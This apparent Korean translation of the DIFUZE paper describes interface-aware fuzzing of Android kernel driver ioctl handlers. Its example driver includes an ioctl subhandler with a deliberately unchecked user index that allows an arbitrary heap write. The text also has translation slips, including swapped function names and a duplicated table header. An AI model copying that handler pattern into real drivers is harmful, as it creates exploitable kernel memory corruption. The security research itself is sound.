[목록 1] 실행 중인 예제의 구조체 정의. DIFUZE는 이를 자동으로 복구하여 대상 드라이버의 구조체 인식 퍼징 수행

int copy_from_user_wrapper(void *buff, void *userp, size_t size) {
	// copy size bytes from address provided by the user (userp)
	return copy_from_user(buff, userp, size);
}

[목록 2] 많은 실제 드라이버와 마찬가지로, 예제 드라이버는 copy_from_user 래퍼 함수 제공. 이와 같은 래퍼(더욱 복잡한) 때문에 DIFUZE는 중첩 함수 분석 지원

DriverStructTwo dev_data1[16];
DriverStructTwo dev_data2[16];
static bool enable_short; static bool subhandler_enabled;
long ioctl_handler(struct file* file, int cmd, long arg) {
	uint32_t curr_idx;
	uint8_t short_idx; void* argp = (void*)arg;
	DriverStructTwo* target_dev = NULL;
	switch (cmd) {
	case 0x1003:
		target_dev = dev_data2;
	case 0x1002:
		if (!target_dev)
			target_dev = dev_data1; // program continues to execute
		if (!enable_short) {
			if (copy_from_user_wrapper((void*)&curr_idx, argp,
				sizeof(curr_idx))) {
				return -ENOMEM; // failed to copy from user
			}
		}
		else {
			if (copy_from_user_wrapper((void*)&short_idx, argp,
				sizeof(short_idx))) {
				return -ENOMEM; // failed to copy from user
			}
			curr_idx = short_idx;
		}
		if (curr_idx < 16)
			return process_data(&(target_dev[curr_idx]));
		return -EINVAL;
	default:
		if (subhandler_enabled)
			return ioctl_subhandler(file, cmd, argp);
	}
	return -EINVAL;
}

long ioctl_subhandler(struct file* file, int cmd, void* argp) {
	DriverStructOne drv_data = { 0 };
	DriverStructTwo* target_dev;
	if (cmd == 0x1001) {
		if (copy_from_user_wrapper((void*)&drv_data, argp,
			sizeof(drv_data))) {
			return -ENOMEM; // failed to copy from user
		}
		target_dev = dev_data1;
		if (drv_data.subtype & 1)
			target_dev = dev_data2;
		// Arbitrary heap write if drv_data.idx > 16
		if (copy_from_user_wrapper((void*)&(target_dev[drv_data.idx]),
			drv_data.subdata,
			sizeof(DriverStructTwo))) {
			return -ENOMEM; // failed to copy from user
		}
		return 0;
	}
	return -EINVAL;
}

[목록 3] 명령 식별자에 대한 매우 구체적인 값을 예상하며 각 명령에 적합한 구조로 데이터가 표시될 것으로 예상하는 ioctl 핸들러. ioctl 처리는 여러 기능으로 나뉨

static struct cdev driver_devc;
static dev_t client_devt;
static struct file_operations driver_ops;
__init int driver_init(void)
{
    // request minor number
    alloc_chrdev_region(&driver_devt, 0, 1, "example_device");
    // set the ioctl handler for this device
    driver_ops.unlocked_ioctl = ioctl_handler;
    cdev_init(&driver_devc, &driver_ops);
    // register the corresponding device.
    cdev_add(&driver_devc, MKDEV(MAJOR(driver_devt), 0), 1);
}

[목록 4] 실행 중인 예제의 주 드라이버 초기화 기능. DIFUZE가 복구해야 하는 드라이버 파일을 동적으로 생성하고, 최상위 ioctl 핸들러를 등록하여 복구

4. 인터페이스 복구

장치 드라이버의 ioctl를 효율적으로 퍼지하기 위해 DIFUZE는 해당 드라이버의 인터페이스를 복구해야 한다. 장치 드라이버의 인터페이스는 장치와 통신하는 데 사용되는 장치 파일의 이름/경로, 해당 장치에 대한 ioctl 명령에 대한 유효한 값 및 다른 ioctl 명령어에 대한 ioctl 데이터 인수의 구조체 정의로 구성된다.

이 데이터를 복구하기 위해 DIFUZE는 LLVM에 구현된 분석 조합을 사용한다. 리눅스 커널은 LLVM을 이용한 분석(또는 컴파일)에 적합하기 않기 때문에 우선 대체 빌드 절차를 개발했다. 이 작업이 완료되면 장치 드라이버가 생성한 장치 파일의 파일 이름을 식별하고 ioctl 핸들러를 찾아 ioctl 명령 식별자의 유효한 집합을 복구하며 데이터 인수에 대한 구조체 정의를 ioctl 명령으로 검색한다.

4.1 시스템 계측 빌드

DIFUZE가 리눅스 장치 드라이버에서 LLVM 분석을 수행할 수 있도록 하기 위해 몇 가지 단계를 수행한다.

GCC 컴파일

먼저, GCC를 이용하여 컴파일을 위한 대상 호스트의 커널과 드라이버 소스를 설정하는 수동 단계를 수행해야 한다. 이것은 일반적으로 문서화가 잘되어있는 프로세스이지만, 모바일 장치 공급 업체는 GPL로 규정된 소스 코드 릴리스를 쉽게 컴파일할 수 있는 방법을 찾지 못하므로 일부 수동 구성 작업이 필요하다. 일단 소스 트리를 GCC로 컴파일할 수 있게 되면 전체 컴파일을 실행하고 실행된 모든 명령을 기록한다.

GCC-LLVM 변환

컴파일 단계에서 DIFUZE 용으로 만든 GCC-LLVM 명령 변환 유틸리티를 사용하여 실행된 명령 로그를 처리한다. 이 유틸리티는 GCC에 의해 예상되는 형식에서 LLVM 유틸리티에 의해 예상되는 형식으로 명령 행 플래그를 변환하고 LLVM을 통해 커널 소스를 컴파일할 수 있다. 컴파일 과정에서 LLVM은 각 소스 파일에 대한 바이트코드(Bitecode) 파일을 생성한다. 바이트코드 파일에 디버그 정보를 포함시킬 수 있으므로 4.6절에 설명된 구조체 정의를 추출하는 데 도움이 된다.

바이트코드 통합

DIFUZE가 수행하는 분석은 각 드라이버에서 별도로 적용된다. 따라서 다양한 바이트코드 파일을 통합하여 드라이버 당 단일 바이트코드 파일을 만든다. 이를 통해 단일 바이트코드 파일에 대한 인터페이스 복구 분석을 수행할 수 있어 분석이 단순화된다. 이 통합 바이트코드 파일은 다음 단계에서 분석을 수행하는 데 사용된다.

4.2 ioctl 핸들러 식별

2.1절에서 논의한 바와 같이, 기기 드라이버와의 상호작용의 대부분은 ioctl 인터페이스를 통해 이루어진다. 사용자 공간에서 애플리케이션은 ioctl() 시스템 호출을 호출하여 파일 설명자를 드라이버의 장치 파일, 명령 식별자 및 필요한 구조화된 데이터 인수에 전달한다. 이 시스템 호출이 커널 공간에서 수신되면 해당 드라이버의 ioctl 핸들러가 호출된다. 그럼 다음 핸들러는 명령 식별자에 따라 드라이버 내부의 다른 기능으로 요청을 전송한다. 실행 중인 예제의 경우 ioctl 핸들러 함수는 ioctl_handler이다.

유효한 명령 식별자와 추가 ioctl 인수의 구조체 정의를 복구하려면 먼저 DIFUZE가 최상위 ioctl 핸들러를 식별해야 한다. 각 드라이버는 각 장치 파일에 대해 최상위 ioctl 핸들러를 등록할 수 있으며, 리눅스 커널에서 이를 수행하는 몇 가지 방법이 있다. 그러나 이러한 모든 방법에는 구조체 집합 중 하나가 ioctl 핸들러에 대한 함수 포인터가 되어 이러한 목적을 위해 만들어진 구조체 집합 중 하나가 생성된다. 구조의 전체 목록과 커널 중 하나에 해당하는 필드 이름은 부록 A에 있다.

ioctl 핸들러를 식별하기 위한 분석은 간단하다 : LLVM의 분석 기능을 사용하여 드라이버에서 이러한 구조체의 모든 사용을 찾아 ioctl 핸들러 함수 포인터의 할당 값을 복구한다. 실행 중인 예제의 경우 file_operations 구조의 unlocked_ioctl 필드에 대한 쓰기를 식별한다.([목록4] 코드 9행) 그런 다음 ioctl_handler 함수를 ioctl 핸들러로 고려할 수 있다.

4.3 장치 파일 탐지

ioctl 핸들러에 해당하는 장치 파일을 판별하려면 ioctl 핸들러 등록에 제공된 이름을 식별해야 한다(예: 실행중인 예제에서 장치 파일은 [목록 4] 코드 7행부터 /dev/example_device).

장치의 종류에 따라 리눅스 커널에 파일 이름을 등록하는 방법에는 몇 가지 방법이 있다. 예를 들어, 문자 장치를 등록하면 alloc_chrdev_region 메서드를 사용하여 이름을 장치와 연결한다. proc 장치의 경우 proc_create 메서드가 파일 이름을 제공한다. 또한 3.1절에서 언급한 것처럼 장치 유형에 따라 장치 파일이 있는 디렉터리가 다를 수 있다.

ioctl 핸들러가 주어진 경우, 해당 장치 이름을 식별하기 위해 다음 절차를 사용한다.

(1) 부록 A에 나열된 운영 구조의 필드 중 하나에 주소를 저장하는 LLVM 저장소 지침을 검색한다.
(2) 등록 기능 중 운영 구조에 대한 참조를 확인한다.
(3) 기기 파일 이름에 대한 인수 값을 분석하여 상수일 경우 반환한다.

[목록 4]의 실행 예제의 경우, ioctl 핸들러 함수는 ioctl_handler로 미리 판단한다. ioctl_handler가 코드 9행(1단계)의 file_operations 구조(즉, dirver_ops)에 저장되어 있는지 확인한 다음 코드 10행(2단계)의 cdev_init 함수에 대한 매개 변수로 driver_ops의 사용법을 확인한다. cdev_add 기능은 장치가 문자 장치임을 나타낸다. 코드 7행에서 장치 메타 데이터(alloc_chrdrv_region)에 대한 할당 함수로 돌아가서 세 번째 인자는 장치 이름이고 상수 문자열로 검출하고, /dev/example_device를 장치 이름으로 반환한다.

VOS_INT __init RNIC_InitNetCard(VOS_VOID) {
	...
		snprintf(pstDev->name, sizeof(pstDev->name),
			"%s%s",
			RNIC_DEV_NAME_PREFIX,
			g_astRnicManageTbl[ucIndex].pucRnicNetCardName);
	...
}

[목록 5] 화웨이 Honor 기종의 RNIC 드라이버에서 동적으로 생성된 장치 이름. DIFUZE가 드라이버의 장치 이름을 찾지 못함

드라이버는 동적으로 생성된 파일 이름을 사용할 수 있다. 불행히도 정적 분석 고유의 제한 사항으로 인해 이러한 파일 이름이 누락되고 수동 분석으로 대체되어야 한다(물론 완전 자동화 상태를 유지하려면 이러한 장치를 무시해도 된다).

다음으로, ioctl 핸들러가 승인한 유효한 명령 식별자를 식별하는 작업을 진행한다.

4.4 명령 값 결정

ioctl 핸들러가 주어지면 cmd 값(즉, ioctl()의 두 번째 인자)에 대한 모든 동등 제약 조건을 수집하기 위해 정적 절차 간 경로 감지 분석을 수행한다. 그런 다음 범위 분석(Range Analysis)을 사용하여 비교 피연산자의 가능한 값을 복구한다. [목록 3] ioctl 예제의 경우 cmd == 0x1003(10행), cmd == 0x1002(12행), cmd == 0x1001(32~42행)의 제한 조건을 수집한다. 비교 피연산자가 상수이므로 범위 분석을 실행하면 각각 0x1003, 0x1002, 0x1001의 상수가 발생한다.

cmd 값에 대한 동등 제한 조건만 고려한다. 거의 모든 드라이버가 등식 비교를 사용하여 유효한 명령 ID를 확인할 수 있다. V4L2 드라이버와 같은 특수한 ioctl 기능이 존재하는데, 드라이버 별 기능은 다른 드라이버에 의해 중첩된 방식으로 호출된다. 부록 B의 이러한 사례에 대한 해결책을 제시한다.

4.5 인자 타입 식별

ioctl 명령 식별자와 해당 데이터 구조 정의는 다-대-다 관계를 가지고 있다. 각 ioctl 명령어는 여러 다른 구조(예: 전역 구성을 기반으로 함)를 취할 수 있으며, 각 명령 구조는 여러 ioctl 명령으로 전달될 수 있다. 이러한 구조를 찾기 위해, 먼저 리눅스 커널이 사용자 공간에서 커널 공간으로 데이터를 복사하는 데 사용하는 copy_from_user 함수에 대한 모든 경로를 식별한다(예: [목록 3] 코드 16행 → [목록 2] 코드 3행). 소스 피연산자(즉, copy_from_user의 두 번째 인수)가 ioctl 함수에 전달된 인수가 아닌 호출 사이트(call-site)는 무시한다. 이러한 경우 ioctl 인수 유형을 결정하는 데 도움이 되지 않는다.

포인터 형변환은 실제 구조 유형을 숨길 수 있다. [목록 2]의 코드 3행에 있는 copy_from_user가 ioctl 핸들러에서, [목록 3]의 ioctl_handler가 여러 경로(예: 16, 21, 32행 → 41행)에 도달할 수 있는 실행 예제를 고려해본다. 그러나 호출 사이트에서 소스 피연산자의 실제 유형은 void *이다. 또한 copy_from_user 함수는 래퍼 함수에 위치하여 ioctl 함수(예: [목록 3] 코드 16행 → [목록 2] 코드 3행)에 의해 간접적으로 호출될 수 있으며, 이는 다른 함수 또는 파일에 분산된다.

이를 처리하기 위해 각 경로에 있는 copy_to_user 함수의 소스 피연산자에 할당될 수 있는 가능한 모든 유형을 결정하기 위해 경로 민감형(path-sensitive type) 간 전파를 수행한다.

명령 식별자를 이러한 각 구조 유형에 연결하기 위해 유형 전파(type propagation)를 수행하는 동안 경로에 따라 동등한 제약 조건(4.4절에서 설명)을 수집한다. copy_from_user 함수에 도달하는 경로의 명령 값에 대한 제약 조건은 구조 유형과 관련된 가능한 명령 식별자를 나타낸다.

[목록 3]의 실행 예제에서는 먼저 copy_from_user 호출 사이트에 도달하는 모든 경로를 식별한다(실제 호출은 래퍼함수 copy_from_user_wrapper를 통해 발생). [표 1] 2열에는 모든 관련 경로가 표시된다. 간결성을 위해 cmd에 동일한 제약조건을 가지고 있고 같은 호출 사이트에 도달하는 경로를 무시했다.

소스 피연산자가 사용자 인수가 아니니 때문에 경로 6은 무시한다(즉, [목록 3]의 코드 49행에서 copy_from_user_wrapper의 두 번째 인수는 argp가 아님). 마지막으로 나머지 경로의 경우, 대상 copy_from_user 호출 사이트의 대상 피연산자 유형을 식별하여 명령 값 유형을 결정한다. 예를 들어, [표 1]의 Path 1에 대해 argp의 유형은 3의 16행에 있는 대상 피연산자 curr_idx와 동일하며 6행에 uint32_t로 정의된다. 각 명령 값에 대해 여러 유형을 얻을 수 있다. 예를 들어, [표 1]과 같이 Path 1과 Path 2는 cmd 제약 조건 값은 같지만 인수 유형은 다르다. 각 명령 값에 대해 가능한 모든 인수 유형을 연결한다. 예를 들어, [표 1]에서 명령 값 0x1003은 인수 유형 uint32_t 및 uint8_t와 연관될 수 있다. 다음으로, 인수의 구조체 정의를 추출할 필요가 있다.

Id	Path	cmd constraints	Resolved command id	User argument type
1	Line 10 → Line 11 → Line 16 → Line 3 (of Listing 2)	cmd == 0x1003	0x1003	uint32_t
2	Line 10 → Line 11 → Line 21 → Line 3 (of Listing 2)	cmd == 0x1003	0x1003	uint8_t
3	Line 12 → Line 16 → Line 3 (of Listing 2)	cmd == 0x1002	0x1002	uint32_t
4	Line 12 → Line 21 → Line 3 (of Listing 2)	cmd == 0x1002	0x1002	uint8_t
5	Line 30 → Line 32 → Line 41 → Line 3 (of Listing 2)	cmd == 0x1001	0x1001	DriverStructOne
6	Line 30 → Line 32 → Line 49 → Line 3 (of Listing 2)	cmd == 0x1001	0x1001	N/A

[표 1] ioctl 핸들러 [목록 3]에서 copy_from_user 호출 사이트까지의 관련 경로

4.6 구조체 정의 찾기

유형의 정의를 찾으려면 해당 유형으로 구성된 모든 유형의 정의를 찾아야 한다. [목록 1]에서 DriverStructOne 유형의 정의를 추출하려면 DriverStructTwo와 DriverSubstructTwo의 정의를 모두 추출해야 한다.

4.5절에서 식별된 각 유형에 대해 4.1절에서 계산된 디버그 정보를 사용하여 해당 copy_from_user 함수의 소스 파일 이름을 찾는다. 소스 파일을 알면 GCC-LLVM 파이프라인을 사용하여 해당 전처리 파일을 생성한다. 전처리된 파일에는 필요한 모든 유형의 정의가 포함되어야 하므로, 식별된 유형의 정의를 찾는다. 그런 다음 c2xml 도구를 실행하여 C 구조체 정의를 XML 형식으로 구문 분석하여 유형에 대한 필요한 정의를 추출한다.

5. 구조체 생성

DIFUZE는 ioctl 인터페이스를 복구한 후 on-device 실행 엔진에 전달할 구조체 인스턴스를 생성하기 시작할 수 있다. 이에 대한 절차는 다음과 같다. DIFUZE는 구조를 인스턴스화하고, 해당 필드를 랜덤 데이터로 채우고, 포인터를 적절하게 설정하여 ioctl에 복잡한 입력을 만든다.

Type-Specific Value Creation

특정 값은 다른 값보다 코드 적용 범위를 증가시킬 가능성이 더 높다. 예를 들어, 시스템 코드의 버퍼 길이는 비트 경계(즉, 크기가 128, 256 등의 버퍼)에 정렬되는 경우가 많으므로 비트 경계 바로 아래 또는 비트 경계에 있는 값은 코너 케이스를 트리거할 가능성이 더 높다(예: 부주의한 문자열 종단에 의한 단일 바이트 덮어쓰기). 이러한 점은 퍼징 커뮤니티에서 일반적인 정보이며, 이전 연구에서 널리 사용되어 있다. DIFUZE는 이 개념도 활용하며, 생성된 정수에서 2의 거듭제곱, 2의 거듭제곱보다 작거나 2의 거듭제곱보다 큰 정수를 선호한다(그러나 제한하지는 않는다).

구조화되지 않는 데이터(예: char * 포인터)나 구조체 정의를 복구할 수 없는 데이터(void *data)를 가리키는 일부 포인터가 있다. 이 데이터에 대해 DIFUZE는 랜덤 컨텐츠 페이지를 할당한다.

Sub-structure Generation

ioctl에 대한 입력은 종종 중첩된 구조의 형태를 취하는데, 여기서 최상위 구조에는 다른 구조체에 대한 포인터가 포함된다. DIFUZE는 이러한 구조체 인스턴스를 개별적으로 생성하여 on-device 실행 컴포넌트로 보낸다. 다음 단계에서 이러한 컴포넌트는 ioctl 자체로 전달하기 전에 중첩된 구조체로 병합한다.

6. ON-DEVICE 실행

DIFUZE의 이전 단계가 분석 호스트에서 실행되는 동안 ioctl의 실제 실행은 대상 호스트에서 이루어져야 한다. 이와 같이, 구조체 생성 컴포넌트는 대상 장치 드라이버 파일 이름 및 ioctl 명령 식별자와 함께 생성된 구조를 장치 내 실행 컴포넌트로 전달한다. 그런 다음 컴포넌트는 이러한 구조를 마무리하고 ioctl을 트리거한다.

6.1 포인터 고정

일부 구조는 포인터로 연결된 여러 개의 메모리 영역을 포함한다. 공간을 절약하기 위해 구조 생성 컴포넌트는 서로 다른 메모리 영역 인스턴스를 개별적으로 전송하는 방법에 대한 메타 데이터와 함께 전송하며, on-device 실행 컴포넌트는 데이터를 사용하여 전체 구조를 구축한다. 이렇게 하면 서로 다른 빌드 구조에 동일한 데이터를 사용할 수 있기 때문에 분석 호스트와 대상 호스트 간의 대역폭을 보존할 수 있다. 예를 들어, 트리 구조의 개별 노드는 개별적으로 전송되기 때문에, 이러한 노드를 사용하여 트리 구조의 다양한 최종 구성을 만들 수 있다.

일부 구조체는 재귀적이다. 예를 들어, 링크된 리스트 노드는 다음 링크된 리스트 노드에 대한 포인터를 포함할 수 있다. DIFUZE는 on-device 실행 컴포넌트가 작성하려고 시도하는 구조 조합의 수에 대한 제한을 설정하기 위해 이러한 주고의 재귀를 설정된 임계 값으로 제한한다.

6.2 실행

구조체가 생성되면 DIFUZE의 on-device 실행 컴포넌트는 적절한 장치 파일을 열고 ioctl 명령 식별자와 적절한 데이터 구조로 ioctl 시스템 호출을 트리거한다. 이때 DIFUZE는 대상 장치를 크래시시키는 커널의 모든 버그를 감시한다. 분석 호스트와 대상 호스트 간에 heartbeat 신호를 유지하면 된다. DIFUZE는 버그를 발견하면, 나중에 재생산 및 트리지를 위해 호스트 장치로 전송된 일련의 입력들을 기록한다.

시스템 재시작되는 버그가 트리거되면 대상 호스트가 일관되지 않은 상태이거나 크래시난 것이다. 전자의 경우, on-device 실행 컴포넌트는 다른 ioctl 명령과 다른 드라이버에서 퍼징을 다시 시작하기 전에 장치의 재부팅을 트리거한다. 후자의 경우, 크래시가 발생한 방식에 따라 장치가 자체적으로 다시 시작되는 경우가 있다. 그렇게 되면 DIFUZE는 분석가가 상호 작용 없이 다시 시작할 수 있다. 그렇지 않으면 분석가가 퍼징을 다시 시작되기 전에 장치를 재부팅해야 한다.

7. 구현

[그림 1]과 같이 시스템을 완전히 자동화하도록 설계했다. 사용자는 컴파일 가능한 커널 소스 아카이브를 제공하고, 대상 호스트(즉, 스마트폰)를 분석 호스트에 연결하고, 대상 호스트에서 장치 실행 컨포넌트를 시작한다. 그런 다음 한 번의 명령으로 전체 파이프라인이 실행된다.

Interface Extraction

LLVM 3.8을 사용하여 인터페이스 추출 기법을 구현했다. 인터페이스 추출의 모든 컴포넌트는 개별 LLVM 패스로 구현된다. 4.4절에서 언급했듯이, 유효한 명령 식별자를 복구하기 위해 범위 분석의 기존 구현을 사용했다.

7.1 인터페이스 인식 퍼징

5절과 6절의 구현은 MangoFuzz라고 한다. MangoFuzz는 분석 호스트에서 구조체 생성과 ioctl의 장치에서 실행을 결합하여 인터페이스 인식 퍼징을 달성한다. 결과에 영향을 줄 수 있는 다른 최적화 없이 인터페이스 인식 퍼징의 효과를 테스트하도록 설계된 의도적으로 단순한 프로토타입이다.

MangoFuzz는 실제 안드로이드 장치의 ioctl 시스템 호출을 목표로 한다. 5절에 설명된 방법을 사용하여 관련 구조와 함께 무작위 시퀀스를 생성하고 이를 대상 호스트에서 실행되는 장치 실행 컨포넌트로 전송한다.

"production-ready”" 접근 방식의 변형을 위해 DIFUZE를 최신 리눅스 시스템 call 퍼저인 syzkaller에 통합했다. 이 통합은 가능한 최고의 도구를 만드는 것을 목표로 하고 있는데, syzkaller의 오픈 소스 강화로서 커뮤니티에 기여할 것이다.

Syzkaller는 리눅스 시스템 호출 퍼저로, 분석가들이 시스템 호출 설명을(수동으로) 제공한 후 관련 시스템 호출을 퍼지한다. Syzkaller는 해당 형식을 수동으로 지정할 경우 시스템 호출 인수로 구조체를 처리할 수 있다. DIFUZE와 통합하기 위해 인터페이스 복구 단계의 결과를 syzkaller가 예상 한 형식으로 자동 변환하여 인터페이스를 인식합니다. Syzkaller는 일반적으로 커버리지 정보와 KASAN(또는 다른 메모리 액세스 검사기)으로 컴파일된 커널에 사용된다. 그러나 실제 수정되지 않은 안드로이드 기기에서 실행하기 위한 구성이 있는데, 이것은 목적에 따라 사용될 수 있다.

8. 평가

DIFUZE의 효과를 확인하기 위해 인터페이스 복구 및 버그 찾기 기능을 모두 평가한다. 평가는 가장 인기 있는 5개 업체의 7개 안드로이드 기기에서 실시되며, 광범위한 장치 드라이버를 포함한다. [표 2]는 칩셋 공급 업체와 함께 특정 스마트폰을 보여준다.

첫째, 인터페이스 복구가 시스템의 핵심 요소인 만큼, 인터페이스 복구의 효과와 효율성을 평가한다. 결과를 검증하기 위해 ioctl와 구조체의 랜덤 샘플링을 수동으로 분석하여 시스템의 복구된 인터페이스와 비교하여 확인한다. 그런 다음 MangoFuzz와 syzkaller의 개선 사항을 모두 사용하여 DIFUZE의 버그 찾기 기능에 대한 비교 평가를 수행한다.

8.1 인터페이스 추출 평가

인터페이스 추출의 모든 단계는 Ubuntu 16.04.2 LTS, Intel Xeon CPU E5-2690 (3.00 GHz)이 장착된 시스템에서 시연했다. 커널의 전체 인터페이스 추출 단계를 완료하는데 평균 55.74분이 걸렸다.

[표 2]에 나열된 장치의 커널에 대한 인터페이스 추출의 여러 단계의 효과를 평가한다. [표 3]은 다른 커널에서의 인터페이스 추출 결과를 보여준다. DIFUZE는 7개 장치의 커널에서 총 789개의 ioctl 핸들러를 식별했다. 핸들러의 수도 해당 스마트폰의 드라이버 수와 밀접하게 일치한다.

Device	Vendor	Chopset Vendor	Android Kernel Version
Pixel	Google	Qualcomm	3.18
E9 Plus	HTC	Mediatek	3.10
M9	HTC	Qualcomm	3.10
P9 Lite	Huawei	Huawei	3.10
Honor 8	Huawei	Huawei	4.1
Galaxy S6	Samsung	Samsung	3.10
Xperia XA	Sony	Mediatek	3.18

[표 2] 평가에 사용된 안드로이드 스마트폰(커널 버전은 실험 당시 각 스마트폰의 최신 안드로이드 커널 사용)

[그림 2] 유효한 명령 식별자 수에 대한 ioctl 핸들러 백분율의 CDF

Device Name Identification

장치 이름 식별에 대한 접근 방식(4.3절)은 다른 공급 업체별 장치에서 작동할 수 있다. DIFUZE는 ioctl 핸들러의 59.44%를 차지하는 469개의 장치 이름을 자동으로 식별할 수 있다. 대부분의 식별 실패는 커널 기본 라인 드라이버에서 발생한다. 예를 들어, Xperia XA의 공급 업체 드라이버에서만 이름을 복구하면 이름의 90% 이상을 복구할 수 있다. 이러한 불일치한 이유는 기본 드라이버가 동적으로 생성된 이름(5절 및 4.3절)을 사용하는 반면, 공급 업체 드라이버는 정적 이름을 사용하는 경향이 있기 때문이다. 동적으로 생성된 이름은 수동으로 추출했다.

Valid Command Identifiers

[표 3]의 네 번째 열에는 해당 커널의 모든 진입점에서 추출된 유효한 명령 식별자의 수가 표시된다. DIFUZE는 모든 커널의 모든 드라이버에서 3,565개의 유효한 명령 식별자를 발견했다. 유효한 명령 식별자의 수는 커널마다 상당히 다르다. [표 3]과 [표 5]에서 볼 수 있듯이, 퍼저가 발견한 크래시 수는 유효한 명령 식별자 수와 양의 상관관계가 있다.

	ioctl handlers	Device Names Automatically Identified	Valid Command Identifiers	User Argument Types
	ioctl handlers	Device Names Automatically Identified	Valid Command Identifiers	no cpoy_from_user	Scalar	Struct	Struct with pointers
Pixel	193	136	611	270	87	151	103
E9 Plus	77	36	610	272	101	195	42
M9	171	122	563	216	83	149	115
P9 Lite	71	30	384	187	56	118	23
Honor 8	86	33	376	208	70	87	11
Galaxy S6	106	70	364	243	23	67	31
Xperia	85	42	657	292	106	194	65
Total	789	469	3,565	1,688	526	961	390

[표 3] 여러 스마트폰 커널에서 DIFUZE가 복구한 인터페이스

[그림 2]는 ioctl 핸들러 당 유효한 명령 식별자 수의 분포를 보여준다. ioctl 핸들러의 11%는 어떠한 명령도 기대하지 않는다. 이 ioctl의 코드는 조건부로 컴파일되고 커널 구성에 의해 보호된다. 컴파일하는 동안 ioctl 핸들러 코드가 비활성화되므로 생성된 바이트코드 파일에서 해당 ioctl 핸들러가 비어있는 것으로 나타나서 명령 식별 프로세스에서 명령 값이 0이 된다. ioctl 핸들러의 50%가 단일 명령 식별자로 예상한다. 대부분 v4l2_ioctl_ops에 기인한다. [부록 B]에서 설명했듯이 이들은(단일) 특정 명령을 관리하는 중첩 처리기이다. ioctl 핸들러의 대다수(98.3%)는 유효한 명령 식별자가 20개 미만이다. 20개 이상의 명령 식별자를 가진 ioctl의 나머지(1.7%)를 수동으로 조사하여 ioctl 함수의 일부에 대한 함수 포인터에 근접하는 접근 방식을 알아냈다. 그러한 과도한 추정은 후속 퍼징 단계에서 유효하지 않은 퍼지 단위를 추가로 발생시키지만 전체 성능에 미미한 영향을 미친다.

User argument types

[표 3]의 마지막 4열은 사용자가 전달한 인수(ioctl 핸들러에 대한 세 번째 인수)가 처리되는 방식을 보여준다.

1,688개(47%)의 명령 식별자에 대해 copy_from_user를 찾을 수 없다. 이것은 두 가지 범주 중 하나에 넣는다.

(1) 사용자 인수는 C 유형으로 취급되므로 사용자 인수는 원시 값으로 취급되므로 user_from_user가 없으므로 인수 유형 식별이 필요하지 않다.

(2) 또는, copy_to_user가 있는데, 여기서 사용자는 커널이 사용자에게 정보를 복사할 특정 유형의 포인터를 제공하게 된다.

커널은 사용자 데이터를 처리하지 않기 때문에 여기서도 유형 식별에 신경 쓰지 않는다.

명령 식별자의 나머지 1,877(53%)에 대해 사용자 인수는 특정 데이터 유형에 대한 포인터가 될 것으로 예상된다. 즉, 데이터를 복사하기 위해 copy_from_user 호출을 사용해야 한다. 이러한 포인터 인수는 다음과 같은 세 가지 사례로 추가 분류할 수 있다.

(1) 명령 식별자의 526(15%)은 스칼라 포인터 인수를 예상한다. 예를 들어, [표 1]에서 표시한 바와 같이, 실행 사례에서 스칼라 타입 uint32_t 또는 uint8_t를 가리키는 사용자 인수를 예상하기 때문에 명령 ID 0x1003 및 0x1002는 범주에 속한다.

(2) 명령 식별자의 961(30%)은 사용자 인수가 내장된 포인터가 없는 C 구조체를 가리킬 것으로 예상한다. 예를 들어, [목록 1]의 DriverStructTwo.

(3) 명령 식별자의 390(11%)에 대해 날짜 유형은 내장된 포인터를 포함하는 C 구조체이다. 실행 예제의 경우 [표 1]에 표시된 것처럼 명령 ID 0x1001이 범주에 속하며 사용자 인수가 포함된 포인터([목록 1])를 포함하는 DriverStructOne을 가리킬 것으로 예상한다.

이러한 인수는 사용자 인수가 구조체를 가리키고, 그 자체에는 포인터(유효한 포인터도 포함되어야 함)가 있을 것으로 예상되기 때문에 인수 유형 정보 없이 효과적으로 퍼지하기 매우 어렵다. 다음 3가지 사례로 분류된다.

Random Sampling Verification

테스트 세트에서 7개의 안드로이드 스마트폰 각각에 대해 5개의 ioctl의 랜덤으로 추출하여 추출된 유형이 올바른지 수동으로 검증했다. 35개의 ioctl에는 총 327개의 명령을 가지고 있었는데, 그중 294개의 인수와 명령을 정확히 파악하여 90%의 정확도를 제공했다.

8.2 평가 기준

DIFUZE가 장치 드라이버에서 실제 버그를 얼마나 잘 찾을 수 있는지, 그리고 추출된 인터페이스 정보를 이 기능에 미치는 영향을 확인하기 위해 프로토타입 퍼저, MangoFuzz, syzkaller를 사용하여 테스트한다. DIFUZE(m) 및 DIFUZE(s) 식별자를 사용하여 퍼징 및 on-device 실행 구성 요소로 MangoFuzz 및 syzkaller를 각각 사용하는 경우 DIFUZE를 나타낼 것이다. 또한, syzkaller에서 제공하는 인터페이스의 양을 변경하여 시스템을 평가합니다. 이런 식으로, 인터페이스 추출이 결과에 어떤 영향을 미치는지 조사할 수 있다. 구체적으로 DIFUZE의 다음과 같은 구성을 실행한다.

Syzkaller base

syzkaller는 시스템 호출 open() (장치 파일 열기) 및 ioctl (ioctl 핸들러를 트리거하기 위해)을 사용하여 퍼지만 사용해야 한다고 지정한다. 기본 구성은 몇 개의 표준 장치 파일 이름과 일반적인 리눅스 장치용 ioctls와 함께 일부 표준 유형의 구조를 포함한다.

Syzkaller+path

이 구성에서는 syzkaller가 퍼징 하려고 하는 추출된 드라이버 경로의 사양을 추가한다. 그러나 나머지 인터페이스 정보는 제공되지 않는다.

DIFUZE(i)

여기서 장치 경로와 ioctls의 추출된 인터페이스 정보는 syzkaller와 함께 퍼지로 사용된다. 이 구성은 ioctl 명령 처리를 트리거할 수 있지만, 복잡한 구조를 처리하는 코드를 탐색할 수는 없다.

DIFUZE(s)

이 구성은 ioctl 인수 구조 형식의 자동 식별을 포함한 모든 인터페이스 복구와 syzkaller를 통합한다. 이것이 syzkaller에서 발견되는 많은 최적화들을 활용할 수 있기 때문에 최고의 성능의 구성이 될 것으로 기대한다.

DIFUZE(m)

최종 구성은 인터페이스 복구와 간단한 퍼저 프로토타입인 MangoFuzz를 통합한다. 이 구성은 다른 좋은 최적화가 없는 경우에도 인터페이스 인식 퍼징이 발견된 버그 수에 미치는 영향을 조사하기 위한 것이다.

